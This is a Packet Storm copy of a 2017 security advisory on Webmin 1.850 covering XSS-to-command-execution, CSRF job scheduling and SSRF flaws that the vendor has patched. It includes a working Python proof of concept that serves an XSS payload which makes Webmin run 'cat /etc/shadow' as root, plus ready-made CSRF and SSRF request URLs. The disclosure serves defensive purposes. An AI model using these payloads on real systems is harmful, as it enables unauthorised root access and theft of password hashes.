Exploit the possiblities

Webmin 1.850 SSRF / CSRF / Cross Site Scripting / Command Execution

Webmin 1.850 SSRF / CSRF / Cross Site Scripting / Command Execution
Posted Oct 16, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Webmin version 1.850 suffers from server side request forgery, cross site request forgery, and cross site scripting vulnerabilities, the last of which can lead to remote command execution.

tags | exploit, vulnerability, xss, csrf
MD5 | e8275ecd6d49c4502a0718560697279c

Webmin 1.850 SSRF / CSRF / Cross Site Scripting / Command Execution

Change Mirror Download
[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec



Vulnerability summary
The following advisory describes three (3) vulnerabilities found in Webmin version 1.850

Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS,
file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from
the console or remotely. See the standard modules page for a list of all the functions built into Webmin.

The vulnerabilities found are:

XSS vulnerability that leads to Remote Code Execution
CSRF Schedule arbitrary commands
Server Side Request Forgery

Credit
An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Securitys SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address these vulnerabilities.

For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html


Vulnerability details
XSS vulnerability that leads to Remote Code Execution

Under Webmin menu Others/File Manager there is option to download a file from a remote server Download from remote URL.

By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution.

Webmin echo back the File Download request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the
domain=webmin-victim-ip.

Proof of Concept


import socket

#===================================================
#Run this script and listen for file download from webmin
#Enter payload to execute RCE
#wait for webmin to connect and download file
#Vulnerability is in Menu/Others/File Manager
#issue is webmin echoes back status of the download
#by injecting XSS we bypass the Referer: check by assign
#domain to victims own IP, then execute our RCE
#-----------------------------------------------------------
#e.g.
#Download from remote URL
#http://x.x.x.x:10000/shell/index.cgi
#> whoami
#root

PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests
WEBMIN_IP=raw_input("[Webmin IP]> ") #victim

#Read /etc/shadow file
CMD=("/><script>document.domain='http://"+WEBMIN_IP+":10000/shell/index.cgi'</script>"+
"<form action='https://"+WEBMIN_IP+":10000/shell/index.cgi' method='POST' enctype='multipart/form-data'>"+
"<input type='hidden' name='cmd' value='cat /etc/shadow'><script>document.forms[0].submit()</script></form>")

s = socket.socket()
HOST = ''
s.bind((HOST, PORT))
s.listen(5)

print '\nwebmin file download 0day...'

while True:
conn, addr = s.accept()
conn.send(CMD+'\r\n')
print 'Connected!'
print s.recv(1024)
conn.close()
s.close()




CSRF Schedule arbitrary commands

User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls
an attacker to execute arbitrary commands.

Proof of Concept

http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0
Server Side Request Forgery

User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger
the vulnerability

Proof of Concept


http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000


Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
====================
Would like to acknowledge Beyond Securitys SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:

https://blogs.securiteam.com/index.php/archives/3430




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    4 Files
  • 19
    Nov 19th
    2 Files
  • 20
    Nov 20th
    9 Files
  • 21
    Nov 21st
    15 Files
  • 22
    Nov 22nd
    23 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close